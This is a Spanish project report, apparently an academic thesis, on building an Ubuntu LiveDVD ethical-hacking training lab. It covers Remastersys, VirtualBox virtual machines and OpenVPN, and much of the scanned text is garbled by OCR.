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Resumen ejecutivo

Este documento describe la realizacion de un ptoyssado en la creacion de una distribucion de
Linux LiveDVD para Training de Seguridad.

Alo largo del documento se determinara el disefigprbyecto y la toma de decisiones necesarias
con respecto a este asi como el desarrollo deelawlogias utilizadas y la Implementacion
concreta de éstas.

Asi mismo se incluye un capitulo detallado conjemelo de la integracion de unas pruebas de
seguridad en nuestro entorno, asi como un apagtgakrial en el anexo de la memoria de como
proceder para resolverlas.
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Introduccion

De un tiempo a esta parte las empresas y otrogiemgas (gubernamentales o publicos), con
presencia en Internet o que sustenten buena pasie wlabajo diario con Tecnologias de la
Informacion se encuentran mas concienciadas emnrimdeSeguridad para las Tecnologias de la
Informacion.

Cada vez son mas empresas las que optan por ingogmire sus medidas de Seguridad
Informatica un sistema de Auditorias que sea cdpgaobar sus sistemas de proteccion ante un
caso real de ataque informatico. Es por ello gde ¥az son mas demandados los profesionales
informaticos que poseen ciertos conocimientos alizves pruebas de ataque contra Sistemas
Informéticos (desde ahora Hacking Etico).

Dada esta demanda en el mercado de la Seguridadrdermacion, y por la pasion y el interés
gue despierta este campo de la seguridad, cadsomenas los profesionales que encaminan su
carrera profesional en este nuevo mercado en auge.

Aunque existen numerosos Master o Certificacionfegales en materia de Seguridad de la
Informacion. También hay muchos profesionales quiaropor, al menos al principio, encaminar su
formacion en un entorno mas practico sin tenergakzar alguna de las opciones mencionadas
anteriormente.

Es aqui donde entran en juego los actuales pray@gen Source que existen actualmente. En los
cuales se simulan entornos virtuales o de labdoaton Sistemas Informaticos vulnerables para
poder practicar técnicas de Hacking Etico. A eptogectos normalmente se les conoce como
“Security Training”.
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Descripcion del trabajo

El trabajo consiste en montar un Training de Selgdrcon varias pruebas para practicar técnicas de
Hacking Etico. Este entorno de Laboratorio se nréatsomo una distribucién LiveCD en la cual
existiesen pruebas de Hacking Etico agrupadasategerias y una serie de Indicaciones para
poder resolver las pruebas y el Entrenamiento tengaracter didactico.

Existen otras distribuciones (como BackTrack Lingug contienen Software para realizar pruebas
de Intrusion en Sistemas de la Informacion vulriesamuestra distribucion se basa en crear una
distribucion complementaria que pueda ser utilizzata practicar Hacking Etico con dicho
Software.
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Creacion de un LiveCD basado en Ubuntu

1. Distribucion Ubuntu:

Ubuntu es una distribucién libre del Sistema Operdtinux (creado por la empresa Canonical
Ltd.), se encuentra a su vez basada en otra disitdito de Linux llamada Debian. Con la salvedad
de que Ubuntu se encuentra mas enfocada a seaddélen los llamados sistemas de Escritorio. Es
decir, la distribucion de Linux Ubuntu ha preferwkntrarse mas en crear una distribucion de Linux
pensada para el usuario medio, usuarios domestisoarios de puestos de trabajo etc. Por este
motivo integra una gran diversidad de aplicacioasscomo su entorno y estructura amigable,
facilitando y haciendo mas simple tanto las taeshmsinistrativas como las tareas de mantenimiento
del sistema (gestion de aplicaciones, usuarioa@mamiento...).

La distribucién Ubuntu se encuentra disponible @n\tkrsiones:
Version Desktop: En esta version la instalaciot/dantu se realiza con una intervencion minima
del usuario, el usuario no decide que paquetee liasthlar sino que se instala un sistema de

escritorio por defecto con las aplicaciones queusatas mas frecuentemente

Version Server: En esta version la instalacion dartu depende mas de la interaccion por parte del
usuario ya que éste decide que paquetes o aplescse instalaran en el sistema.

1.1 Razones para utilizar Ubuntu:

Las razones por la que se ha decidido utilizard@ibucion Ubuntu Linux version Server frente a
otras distribuciones es por su sencillez de use yesonalizacién asi como por la cantidad de
paquetes y aplicaciones disponibles en los repast§oftware de Ubuntu haciendo mas facil, por
tanto, la instalacion y configuracion de nuevosyates de software.

Actualmente la distribucion Ubuntu cuenta con uremgomunidad de desarrolladores y de
usuarios. Es por este motivo por el cual existegiaa fuente de informacién y de recursos
asociados a esta distribucion, asi como paginas wilkowtos donde poder documentarse y extraer
informacion.

2. Remastersys:

Remastersys es una aplicacion libre destinada er pedlizar distribuciones de tipo Live de una
manera sencilla y semiautomatica de un entorndgrante instalado, es decir, esta herramienta es
capaz de trasladar un entorno instalado con Sis@eeaativo Linux a una distribucién Live
autoarrancable. Para ello existen dos posibilidddeseacion de la distribucion:

Copia integra del sistema: Realiza una copia déia Operativo incluyendo una copia de todos
los usuarios del sistema, con sus respectivostdites personalestiomé y datos de los usuarios

-8-



Autor: Sergio Romero Redondo

Copia distribuible: Realiza una copia del Sisterpar@tivo sin incluir usuarios del sistema o datos
personales ya que no copia la estructura de direstthome”

2.1 Requisitos de Remastersys:

Para que Remastersys sea capaz de crear unaudistnithive que luego a su vez se pueda instalar
en cualquier sistema hay que tener instalado entetno la aplicacion Ubiquity. Ubiquity es una
aplicacion destinada a la instalacion de sistemas lhasados en distribuciones Debian o Ubuntu
(En el siguiente apartado se explica con mas dajak es Ubiquity). Sin esta aplicacion
Remastersys es capaz de crear una distribucioraltgarrancable pero esta distribucion no
tendria la opcién de poder instalarse en un sis{@rdenador de sobremesa, Maquina Virtual...)

2.2Uso de remastersys:

Remastersys se puede utilizar tanto en linea damdos como en modo grafico, al instalarse
genera por defecto un directorio omellamado remastersys, el cual utilizar4d como etk
trabajo para crear el sistema de ficheros prelaoccampilacion y para generar el fichero de imagen
IS0 que contendra la imagen de la distribuciéreLiv

3. Ubiquity

Ubiquity es un instalador en modo grafico de Siste@perativos Linux basados en distribuciones
Debian o Ubuntu en formato Live. Esta desarrolleaddhyton y utiliza un entorno grafico para
poder interactuar con el usuario que quiere radkzestalacion. Al utilizar un entorno grafico es
requisito indispensable para poder utilizar Ubiggiie se encuentre instalado en el entorno el
sistema de escritorio Gnome. (Con el consecuemsuooo de espacio que representa)
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Disefando el entorno de pruebas

1. Recopilando informacién y antecedentes.

A la hora de plantear este proyecto la idea pral@p basaba en realizar una distribucion Linux de
tipo Live disefiada para que fuese un entorno dektia ser objetivo de ataques informaticos para
realizar pruebas de seguridad. Este laboratorietiobjde ataques informaticos realizados de
manera intencionada esta ideado para poder prastibee él técnicas de Hacking Etico y de esta
manera pueda tener un papel importante en la daceée@sta disciplina informatica, actualmente
en auge, de realizacion de Auditorias de Segurdaghtornos informaticos.

Investigando y recopilando informacion acerca galiatribuciones Linux que existen actualmente
disefiadas para realizar pruebas de seguridadeexsii un lado entornos virtuales basados en un
solo servidor o distribuciones Live del Sistema @peo Linux que son autoarrancables pero que
so6lo tienen como objetivo de los ataques un Unawi&or.

Algunos entornos disponibles actualmente son sesntes:

LAMP Security Training: Es una serie de imagenemdgquinas virtuales con pruebas de seguridad
especificas, unas especificas para practicar liyees SQL, otras maquinas virtuales con
Servidores vulnerables etc...

» MetasploitableMaquina Virtual en formato VmWare con numerosaot\8afe vulnerable.

* De-ICE Pentest LiveCD’dos Maquinas Virtuales Vmware distintas con sofeva
vulnerable

*  pWnOs:Virtual en formato VmWare con numeroso Softwarmetable.

» Virtual Hacking Lab:Software vulnerable en varias Maquinas Virtuateependientes

» OwaspbwaColeccion de varias aplicaciones Web vulneralglesjna Maquina Virtual
VmWare

* Web Security DojoMaquina Virtual VirtualBox con varias aplicacion&&b vulnerables y
herramientas para poder explotar dichas vulnedauiés

« Damn Vulnerable Web Ap@#plicacion Web basada en PHP + MySQL con varias
vulnerabilidades.

Estos entornos tienen varias limitaciones:

» Porun lado la mayoria de los entornos estan basad®aquinas Virtuales con lo que es
requisito indispensable ejecutarlos bajo algumrsistde virtualizacion

-10 -
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» Por otra parte se centran en concentrar bastaittease vulnerable para que puedan
probarse herramientas contra dicho software parnisguna logica de ataque compleja, es
decir, se recoge informacion sobre un servicio@mieto y se intenta explotar dicho
servicio vulnerable.

* Y ladltimay la mas importante es que ninguna famealmente un Entorno Corporativo.

2. Motivacion

Por todas las ideas expuestas en el punto anéxigie la necesidad de poder disponer de un
entorno de pruebas disefiado a imagen y semejanzaketorno Corporativo pero a escala
reducida.

Dicho Entorno Corporativo puede estar compuesteadas tecnologias, tanto que sean
dependientes las unas de las otras, como que algemaogia sea totalmente autbnoma para poder
proporcionar un servicio dentro del Entorno Corpoca

En esta parte del documento se introducird a tacgta del entorno de laboratorio destinado a ser
objeto de nuestras pruebas en materia de seguridad.

Se trata de disefar la estructura informatica guérfa la empresa ficticia “seguridadlimite.com” la
cual dispone de presencia en Internet para poder danocer su imagen como empresa
informatica especializada en Seguridad de la Ind@itm realizando disefios e implementaciones de
Tecnologias de Seguridad Informatica.

Por otra parte la empresa seguridadlimite.com disgi® una infraestructura interna de Sistemas
Informaticos los cuales proporcionan diversas fomgiidades a los trabajadores de la empresa tales
como una Intranet corporativa, un servicio de tabetjo, un Servidor interno con una Base de

Datos en la que se guarda la informacién de logagtos de seguridad implementados en grandes
clientes

A continuacion se detalla un diagrama con la estraael entorno de pruebas disefiado

-11 -
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&/

Para poder realizar dicho entorno en una Unicalalision Live es necesario que los servicios que
la empresa seguridadlimite.com dispone en Intdtagtagina Web corporativa y el servicio de
teletrabajo) se encontraren implementados en [aguhstribucion Live y que a su vez poder
virtualizar los servidores internos en la distridmcLive simulando un Entorno Corporativo
formado una infraestructura de varios servidores.

Servidor WEB

Dado que queremos disponer de un entorno heterogéngdnerable nuestra distribucion Live
estard basada en una distribucion Ubuntu 10.16 gdovidores virtualizados, dispondran de unas
versiones mas antiguas de Ubuntu. Concretamertdaon 8.04 de esta distribucion.

La instalacion de una distribucion tan obsoletéasrMaquinas Virtuales viene impuesta por la
necesidad de generar un laboratorio de pruebasnallle. De esta manera, poder aprovechar las
vulnerabilidades conocidas que existen en estawvetde Ubuntu, y en sus aplicaciones, para poder
realizar pruebas de seguridad contra ellas.

3. Primer paso, Instalando Ubuntu 10.10

El primer paso a realizar consiste en instalaisteBia Operativo base que como hemos detallado
antes correspondera con un Sistema Operativo Lidwntu version 10.10

Para ello obtenemos de los repositorios de Inteueidisponen de imagenes de Ubuntu la version
“Ubuntu Server 10.4” la cual nos permitira instadasistema pudiendo escoger el software que se
desea implementar.

Una vez descargada, y por cuestiones de rendimeenti etapa de disefio se procedera a instalar
dicha version de Ubuntu en una maquina fisica.

-12 -
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Una vez comenzado el proceso de instalacion sle kamplimentar informacion basica del
sistema de ficheros a instalar, idioma, zona haraonfiguracion de red, gestion de usuarios

Lamentablemente la distribucién Ubuntu no te pers@leccionar los paquetes a instalar, por lo

tanto en caso de no querer disponer de algin padadbs que te instala se ha de eliminar una vez
finalizada la instalacion.

4. Sequndo paso, instalando Remastersys.

Una vez instalado el sistema procederemos a instadglicacion Remastersys destinada a
automatizar el proceso de creacion de la distrdsutive en formato imagen 1SO.

La aplicacion Remastersys no se encuentra inckndangun repositorio de los que la distribucién
Ubuntu trae por defecto, por lo tanto, para podstalar la aplicacion deberemos agregar el
repositorio de Remastersys a nuestra distribucida gue podamos instalar la aplicacion a partir
del comand@pt-gety los repositorios.

Para agregar los repositorios a nuestro Sistemea@yeLinux deberemos editar el fichero
sources.lisubicado en el directori@tc/apt/

vi /etc/apt/sources.list
Y afiadir las siguientes lineas de codigo:

## Repositorio Remastersys
deb http://www.geekconnection.org/remastersys/réjoog karmic/

Como nuestra distribucion de Ubuntu es la versd $egun la documentacion de Remastersys a
partir de la version 9.10 de Ubuntu el repositdonde se encuentra la aplicacion correcta para la
version 9.10 es el que hemos agregado al fickauaes.list

Una vez realizado este proceso se realizara lalaesdn de Remastersys:

apt-get install remastersys

Con ello ya tendriamos instalado Remastersys n&larad, en la seccion “Convirtiendo nuestro
laboratorio en un LiveCD” se detallan la configuéacnecesaria para crear nuestra distribucion
personalizada.

En este instante procedemos a realizar una imaigerdel Sistema Operativo instalado para
comprobar que la herramienta Remastersys realizactamente dicho procedimiento, para lo cual
ingresaremos los siguientes comandos en el sistema

sudo remastersys backup ubuntu-inicial.iso

Este comando genera en el directdnome/remastersyla imagerubuntu-inicial.isocon nuestra
distribucion Live (Hace una copia completa condssarios, directorithomecompleto)

-13 -
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5. Tercer paso, el sistema de virtualizacion.

Como se ha descrito previamente, para poder simnlantorno corporativo en la ejecuciéon de una
distribucion de tipo Live es necesario virtuali&arvidores dentro de esta distribucion.

Para poder realizar la virtualizacion de estosifergs existen varias alternativas tales como
Vmware, Xen, VirtualBox, OpenVZ. Aunque existenagtalternativas, estas aplicaciones son las
mas populares y recopilando informacidn sobre cadade ellas la aplicacidn que mejor se adapta
a las necesidades de nuestro entorno es VirtuglBobas siguientes razones:

 Vmware:Tiene una licencia la cual permite utilizar VmWarempre que se ejecute de
manera individual, es decir, no podriamos compastia distribucién Live con nadie
(Definitivamente no es el objetivo de esta disiribn).

» Xen: Actualmente no se encuentra soportado por Ubgotulo cual instalar esta tecnologia
podia volverse una complicacion en cuanto a qugese algin problema de
compatibilidades.

* OpenVZ Se basa en un sistema de virtualizacion en ¢élasianaquinas virtualizadas
ejecutan el mismo kernel del Sistema Operativo pereen instancias independientes de las
aplicaciones. Esta tecnologia de virtualizaciénp@eo nos es valida para nuestro entorno
ya que queremos disponer de un entorno heteroggmelocual, si lo deseamos, podamos
virtualizar varias maquinas con distribuciones rgifiees del Sistema Operativo Linux.

» VirtualBox: Te permite virtualizar Servidores distintos suegstos compartan un mismo
kernel. Por otra parte, la version de VirtualBoxEJ®pen Source Edition) se encuentra
disponible bajo licencia GPL2 la cual te permitarusdistribuir VirtualBox libremente
(Esta opcion si que concuerda con nuestras nedesida

5.1 Instalacion de VirtualBox

Para poder instalar VirtualBox descargamos la ¥8ar4i0.6 (En el momento del disefio del
laboratorio es la ultima disponible) Open Sourcgi@ude la pagina Wetyww.virtualbox.org para
ello basta con descargar el siguiente enlace,jpompdo con el comandeget

wgethttp://download.virtualbox.org/virtualbox/4.0.6/Miualbox-4.0 4.0.6-
71344~Ubuntu~maverick i386.deb

para mas tarde instalarlo mediante el comatpky

dpkg —i virtualbox-4.0_4.0.6-71344~Ubuntu~maveri¢B86.deb

La instalacion de VirtualBox comprende varias Heientas como puede ser el Core del Servicio
VirtualBox, una interfaz grafica para poder adntnaisfacilmente VirtualBox, un cliente de consola

para poder interactuar con el Sistema que se énstelas Maquinas Virtuales y diversas
herramientas para poder configurar VirtualBox ddadshell.

-14 -
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Aprovechando que hemos instalado el entorno gr&iwome utilizaremos la interfaz gréafica de
VirtualBox para administrar las Maquinas Virtuales.

5.2 Creacion de una Maquina Virtual.

Como se ha comentado para gestionar y crear lagiNagjVirtuales nos ayudaremos de la interfaz
gréfica de la que dispone VirtualBox, para ellotha®n ejecutar el siguiente comando

VirtualBox

Este comando arranca la interfaz grafica de ViBoa) hay que tener en cuenta que cada usuario
del sistema que tenga permiso para ejecutar Wdxakndra registradas las Maquinas Virtuales
gue afadio al sistema. Por tanto hay que teneadaide ejecutar VirtualBox siempre con el mismo
usuario.

Una vez que tenemos la interfaz gréafica disporiblprocedera a la creacion de la primera
Maquina Virtual para instalar nuestro servidoruatizado Ubuntu version 8.04. Para ello
seleccionamos la opciénueva” del panel principal de la aplicacién.

% Oracle VM VirtualBox Administrador EEE
Archivo Maguina Ayuda
§ £ e
"-w-} C"-g} Eg% |§}Qetalles | @ Instantaneas
Nueva J| Configuracion Iniciar Descartar =SS
H':' @ - = General H Previsualizacion T
------ : : Normbre: v1

‘; v@z ] Tipo 50: Ubuntu

{E Apagada

— Sistema

Memoria base: 256 MB

Orden de arranque: CD/DVD-ROM,
Disquete, Disco
duro

Pantalla

Memoria de video: 12 MB
Servidor de escritorio remoto: Inhabilitado

(2 Almacenamiento

Controlador IDE
IDE secundario maestro (CD/DVD): Vacio
Controlador SATA
Puerto SATA 0: v1-export-3-diskl.vmdk
{Normal, 1,00 GB)

{tp Audio
Inhabilitado

= Red

Adaptador 1: Intel PRO/1000 MT Server (Adaptador solo-anfitrion,
«vboxnetO»)

& USB [~

Una vez lanzado el Asistente de creacion de la mamurtual dispondremos de configurar el
nombre que tendra la maquina virtual y el Sisterpar&tivo que queremos instalar en ella:
-15 -
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L : Crear nueva maquina virtual

Nombre de maquina virtual y tipo de sistema
operativo

Ingrese el nombre de la nueva maguina virtual y seleccione el tipo de
sistema operativo huésped que planea instalar.

El nombre de Ia maquina virtual normalmente indica su configuracion de
software y hardware. Sera usado para identificar la maquina virtual creada
en los productos de VirtualBox.

Nombre

K21 |

Tipo de 0S

Sistema operativo: | Linux ol ‘J/_‘
¢ |

version: | Ubuntu

| =< Anterior I | Siguiente = | | Cancelar |

[

Especificamos la cantidad de memoria RAM de ladjspondra el sistema virtual.

Memoria

Seleccione la cantidad de memoria base (RAM) que sera asignada a la
maquina virtual.

El tamarno recomendado de memoria base (RAM) es 512 MB.

Tamaiio de memoria base

4 MB 2048 MB

| < Anterior | | Siguiente > | | Cancelar |

Y creamos un nuevo disco duro con un tamafio decalnaaniento relativamente pequefio dado que
gueremos instalar un sistema basico. Se debedar®renta que el tamafo del disco es un requisito
prioritario ya que esperamos que la suma de nuSgtema principal méas los dos servidores
Virtualizados no excedan de 4.7 GB para poderikistrnuestro laboratorio en un DVD.

-16 -
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Para ello el sistema se instalara sin entornoagrdficon el minimo de paquetes disponibles. Por lo
gue se estima que el disco duro ha de tener uraidap de almacenamiento de 1 GB.
Las siguientes ilustraciones muestran el sencdithagso de creacion de un disco duro.

Disco duro virtual

Seleccione un disco duro virtual a ser usado como disco duro de arranque
de la maquina virtual. Puede crear un nuevo disco duro o seleccionar uno
existente de la lista desplegable o presionando el boton correspondiente
(para invocar la ventana de abrir archivos)

Si necesita una configuracion mas complicada de disco duro, también
puede omitir este paso y conectar un disco duro mas tarde usando el
dialogo de configuracion de la MV.

El tamario recomendado del disco duro de arranque es 8,00 GB.

¥l [Disco duro de arranque |
@ Crear disco virtual nuevo

() Usar un disco duro existente

[

| < Anterior | | Siguiente > | | Cancelar |

Tamano y localizacion del disco virtual

Presione Seleccionar para elegir la localizacion y nombre del archivo para
almacenar los datos del disco virtual. Alternativamente puede ingresar el
nombre del archivo en el campo de entrada.

s

La']

vl ||ﬁ

Localizacién

Seleccione el tamario de la imagen de disco virtual en megabytes. Este sera
el tamafio de disco que sera reporiado al 50 huésped.

e 1008

4,00 MBE 2,00 TB

Tamafnio

| < Anterior | | Siguiente > | | Cancelar |

Una vez finalizado el asistente VirtualBox nos nttgesn resumen de la configuracion de la
Méaquina Virtual que va a crear:
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Resumen

Se creara una nueva maquina virtual con los siguientes parametros:

Nombre: vl
Tipo SO: Ubuntu
Memoria base: 512 MB

Disco duro de ammanque; v1-export-3-diskl.vmdk (Normal, 1,00 GB)

Si lo de arriba es comrecto presione el boton Terminar. Una vez que lo
presione, se creara una nueva maquina virtual.

Note que puede alterar estas y otras configuraciones de la maguina virtual
en cualguier momento usando el didlogo Configuracion accesible desde
el menu de la ventana principal.

| < Anterior | | Terminar || Cancelar |

Una vez creada la Maquina Virtual y continuando ieoestro afan de reducir lo maximo posible el
tamano del sistema virtualizado ahora nos centramasducir la capacidad de procesamiento de
dicho Servidor. Se debe reducir esta capacidad bashivel de rendimiento minimo a la vez que
aceptable para ejecutar los servicios que se lengieaden segun el entorno de pruebas que
deseemos recrear.

Es por ello que deberemos desplegar la configunadeda Maquina Virtual seleccionando la
maquina en cuestion y ejecutando la opcion Cordigjan del panel principal de la aplicacion:

[ % "Oracie VM VirtualBox Administrador

Y
Archivo Maquina Ayuda

.f"M S{J;_} C% —
“"’3 La"" I{{}Qetalles | @] Instantaneas
Nueva [Configuracion Iniciar Descartar _

‘% vi [= General = Previsualizacién =
 Smnas Ofensc Nombre: v1

== Tipo SO: Ubuntu

(D] v2

|£ @ Apagada

Sistema

Memoria base: 256 MB

Orden de armanque: CD/DVD-ROM,
Disquete, Disco
duro

[E pantalla

Memoria de video: 12 MB
Servidor de escritorio remoto: Inhabilitado

| (3 Almacenamiento
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Una vez accedida a la configuracién lo primero sedacir la memoria RAM hasta 256 MB
cantidad suficiente para nuestro entorno:

= w1 - Configuracien )
B General Sistema
E pantalla [ Placa base1 Procesador
& Almacenamiento -
o Audio Memoria base; ===l e |256 | MB
= Red 4 MB 2048 MB
{B Puertos serie Orden de arranque: @ @ CD/DVD-ROM |
& usB ¥ [ Disquete
; ¥ & Disco duro
[ Carpetas compartidas = @ Rad

Después, y dado que en los Servidores virtualizadoamos a usar entorno grafico, reduciremos
la capacidad de la memoria de video hasta 12 MB

B General Pantalla

Sistemna

@ J |Ef&£| Pantalla remota

| Almacenamiento ' .

B Audio Memoria de video: ==l j———————————= 112 |MB
@ fisil 1MB 128 MB

'} Puertos serie Namero de monitores: (1= _ _ _ _ _ = (1

[£# USB 1 8

\E) Carpetas compartidas Funcionalidades extendidas: [ Habilitar aceleracion 3D

Por ultimo y dado que la distribucion Live que asta disefiando se encuentra pensada para poder
ser ejecutada en una maquina fisica o virtual gab@mos el hardware del que dispondra
modificaremos la red del sistema virtual para gié eonectado al sistema anfitrion (El Sistema
Operativo de la distribucion Live) y mediante Igdta virtual vboxnetO. Esta tarjeta de red virtual
emula una tarjeta con chip Intel 82545EM con Id ali@jecutar el entorno virtualizado no
tendremos ningun problema de mal funcionamientsidedma por culpa de ningun software de

tipo driver.
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& v1 - Configuracion X
E General Red
Sistemna
Pantalla " Adaptador 1 Adaptador 2 | Adaptador 3 | Adaptador 4 |
& Almacenamiento - '
B Audio | Habilitar adaptador de red
! Red Conectado a: | Adaptador sélo-anfitrién ¢ |
@ Puertos serie Nombre: | vboxnet0 )
& UsB —
[@ Carpetas compartidas v |Avanzadas|
Tipo de adaptador: | intel PRO/1000 MT Server (82545EM) Sl
Direccion MAC: | 080027F9B194 B
[/ Cable conectado D§

Habiendo ejecutado todos estos pasos disponemosgaddaquina Virtual totalmente configurada
para instalas el Sistema Operativo deseado.

5.3 Instalacion de la maquina virtual:

En este momento ya podemos instalar el Sistemaa@pede nuestro Servidor virtualizado. Como
se ha descrito anteriormente deseamos que esid@e® encuentre instalado con una distribucién
Linux Ubuntu Server versiéon 8.04.

Para ello lo primero sera disponer de dicho Sist®perativo, para ello es posible obtener una
imagen ISO de la distribucion en los repositoriesSoftware de Ubuntu.

Una vez obtenida esta imagen ISO se puede prodedtss formas:

Copiar laimagen en un CD
Montar la imagen ISO en la maquina virtual comfuese un CD.

En nuestro caso escogemos la segunda opcion yesquacho mas rapida y carece de coste
econdmico.

Para realizar esta accidén habra que selecciomaadgina virtual y acceder a su configuraciéon

como se ha hecho en pasos anteriores. Una vezdaeeld configuracion se accede al apartado de
almacenamiento y se configura la unidad de CD gaeaejecute la imagen ISO de Ubuntu 8.04 que
nos hemos descargado previamente. En la siguiesteacion se puede observar el procedimiento
realizado:

= v1- Configuracion =)
E ceneral Almacenamiento
Sistema -
B Pantalla Arbol de almacenamiento Atributos
@ Alma | |[€ Controlador IDE | Unidad CD/DVD: | IDE secundario mael ¢ i| v|
o Audio @ Vacit | | Informacion Seleccionar un archivo de disco virtual de CD/DVD...
& Red ) 4& Controlador SATA Tipo: - Unidad anfitrién HL-DT-ST CD-RW GCE-8520B (sr0)
3 Puertos serie v1-export-3-disk1.vmdk Taanc: — Unidad anfitrién TSSTcorp CD/DVDW SH-W162C (sr1)
& UsB B i
& Carpetas compartidas Lelizndinns =
Conectado a: - - '.-
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Ahora simplemente habra que iniciar la maquinaegw@pr una instalacion del Sistema Operativo
como se describio en apartados anteriores a ladeorastalar el entorno base, es decir, prestando
especial atencion a los paquetes que se desealair{ecordamos, sistema minimo sin entorno
gréfico).

5.4 Duplicaciéon de la Maquina Virtual:

Llegados a este punto, y por cuestiones de diselfaltbratorio de pruebas que queremos
implementar deberiamos tener operativa otra Madvinaal idéntica a la que acabamos de
instalar.

Como realizar de nuevo el mismo proceso de creasi@mueva maquina virtual e instalar el
Sistema Operativo recurriremos a duplicar una nmégen el sistema, para lo cual, se deben
realizar dos pasos, exportar la Maquina Virtual sgiencuentra instalada para mas tarde importarla
en nuestro entorno virtual con otro nombre.

De esta manera duplicamos una Maquina Virtuahetsrde la interfaz grafica de VirtualBox
desempeiiando el minimo esfuerzo.

Primero, exportar la Maquina Virtual

Para este primer paso, una vez disponible la azeayfafica de VirtualBox seleccionamos la
Maquina Virtual a exportar y en el menu de la aguién seleccionamdérchivo/Exportar servicio
virtualizado” al seleccionar esta opcién se ejecutara un agsfigile nos guiara en el proceso de
exportacion:

nte de exportacion de servicio virtualizado |

iBienvenido al asistente de exportacion de servicio
virtualizado!

Este asistente e quiara a través del proceso de exportacion de un servicio virtualizado.
Use el boton Siguiente para ir a |a siguiente pagina del asistente y el botén Anterior
para volver a |a pagina anterior. También puede presionar el botén Cancelar si desea

cancelar la ejecucion de este asistente.

Seleccione las maquinas virtuales a afadir al servicio virtualizado. Puede seleccionar
mas de una. Note que estas maquinas deben estar apagadas antes de que puedan ser
exportadas.

7 v2

| siguiente > | "~ Cancelar |

Debemos Seleccionar el directorio donde se guaelddiéhero de exportacion, se recomienda
realizar la exportacion en un fichero de tipo @ ya que el fichero de exportacion que se cree
seguira el formato estandar Open File Virtualizatio

En la Siguiente ilustracion se puede contemplaelaccion del estandar de datos seleccionado:
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entonces todos los archivos seran combinados en un archivo Open Virtualization

permiten otras extensiones.

Configuracion de exportacion de servicios virtualizados
Seleccione un nombre de archivo para exportar el OVF/OVA. Si usa una extension ova,

Format. Si usa una extension ovf, varios archivos seran escritos separadamente. No se

Archivo: | /home/gestorjv1.ovi] N I | Seleccionar...

| Escribir en formato heredado OVF 0.9

[ ] Guardar archivo Manifest

Para finalizar el asistente se nos ofrecen una derdatos opcionales a rellenar para poder
identificar la maquina virtual exportada como “namde la maquina”, “version”, licencia...

Configuracion de exportacion de servicios virtualizados

Aqui puede cambiar los valores de configuracion adicionales para la maquina virtual
seleccionada. Puede modificar la mayoria de las propiedades mostradas haciendo doble
clic sobre ellas.

&2 Nombre vl
& Producto

& URL del producto

& vendedor

@& URL del vendedor

@ version

& Descripcién

@ Licencia

< Anterior | | Terminar || Cancelar |

Al finalizar el asistente obtendremos el fichercedportacion .ovf listo para poder ser importado en

cualquier Servidor de VirtualBox.

5.5Importar la Maquina Virtual.

Una vez que la exportacidn se ha realizado con ésinecesario importar el archivo .ovf que se ha

generado en el paso anterior.

Para ello se debe seleccionar el menu “Archivo/it@pd&ervicio Virtualizado” y, nuevamente se
ejecutara un asistente el cual nos guiara en gpi@ceso de importacion, ya que el primer paso

sera seleccionar el fichero .ovf que deseamos itapor
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iBienvenido al asistente de importacion de servicio
virtualizado!

B Este asistente le guiard a través del proceso de importacién de un servicio virtualizado.

Use el boton Siguiente para ir a la siguiente pagina del asistente y el boton Anterior
para volver a la pagina anterior. También puede presionar el botdn Cancelar si desea

cancelar la ejecucion de este asistente.

VirtualBox actualmente soporta la importacion de servicios virtualizados en Open
Virtualization Format (OVF). Para continuar, seleccione el archive a importar abajo:

| Seleccionar... | J/home/gestor/repositoriofv1-export-2.ovf

| siguiente > | | Cancelar |

Una vez que el asistente lee la configuracion deadiichero nos ofrece un resumen con todos los
datos de la maquina que se va a importar. Si @@isiés realizar alguna modificacion en la
Maquina Virtual como puede ser el nombre de la nm&gol la ubicacion del fichero del disco
virtual se debe realizar en este paso tal y comesimaila siguiente imagen:

5 ‘ASistente de importacién de servicio virtualizado &

Configuracion de importacion de servicios virtualizados

. Estas son la maquinas virtuales como se describen en el archivo de servicios virtualizados
i («Appliance») con sus «mapeos» comespondientes para importar a VirtualBox. Puede

| cambiar las propiedades desplegadas haciendo doble clic sobre estas y deshabilitarlas

usando las cajas de opcion debajo.

Descripcion Configuracion k
%2 Nombre v2
& Tipo de SO huésped # Ubuntu
{} cPu 1
i} RAM 256 MB
(2 DVD %]
(7 Cantrolador USB |
{ip Tarjeta de sonido ] ICH AC97
P Adaptador de red &1 Intel PRO/1000 MT Desktop (82540EM)

&> Controlador IDE de disco duro  PlIX4
&> Controlador IDE de disco duro  PlIX4
— 4P Controlador SATA de disco duro  AHCI
Imagen de disco virtual /home/gestor/VirtualBox VMs/v2/v1-export-3-dis...

Restaurar valores predeterminados | | < Anterior | | Terminar || cancelar |

Al finalizar este paso ya dispondremos en nuesttoreo de laboratorio de dos maquinas Servidor
virtualizadas con VirtualBox.
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En la siguiente imagen podemos ver una represéntdei cOmo se encuentra actualmente el
entorno virtual:

\ Servidor Virtug)

8.04

ENTORNOQ DE LABORATORIO
Ubuntu 10.10

6. Cuarto paso, Integracion de VPN

De la fase de disefio se extrajo la conclusion dengestro entorno de laboratorio debe emular un
Entorno Corporativo. Para ello se decidié que maesttorno virtual simularia la Red Corporativa
de la Empresa seguridadlimite.com que, entre g&ogcios, ofrece a sus trabajadores el entorno
necesario para que puedan trabajar varios diasesriana desde otra ubicacion distinta a la
habitual.

Para que los empleados de seguridadlimite.com pudidponer desde una ubicacion remota de
todos los servicios de los que dispone la emprgarisiad limite disefio un sistema de Red Privada
Virtual (VPN). Mediante este sistema los empleguesden trabajar desde una ubicacion remota
como si se encontrasen fisicamente ubicados el lder la oficina.

Dado la fuerte apuesta que la Subdireccién derSistele seguridadlimite.com realiza sobre el
Software de Codigo Abierto se optd por montar gtesia basado en el Software OpenVPN.

En la siguiente imagen se puede apreciar comocigertra estructurado este entorno de teletrabajo
para acto seguido especificar como se realizasgliéggue de dicha infraestructura.

Se ha optado por una infraestructura basada elesite capa tres ya que el departamento de
Networking de seguridadlimite.com asi lo precisarao disefié el entorno para que pudiese ser
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una solucion escalable (Mucho mas escalable qsestema basado en capa de enlace)

192.168.56.36
192.168.56.35

2 1
BBDD ntermna

182.168.56.1

Servidor WEB

6.1 Funcionamiento de OpenVPN:

OpenVPN es una aplicacién Open Source que prop@@oplementaciones de Tuneles SSL/TLS
en capas 2 y 3 del modelo OSl y basando su sigleraatenticacion en certificados. De esta
manera se consigue, a través de esta herramieypignnentar una Red Privada Virtual.

Instalando OpenVPN

La aplicacion OpenVPN se encuentra a nuestra d@posn los repositorios principales de la
distribucion Ubuntu. De esta manera la instalas®puede realizar facilmente mediante el
comandaapt-get

sudo apt-get install openvpn

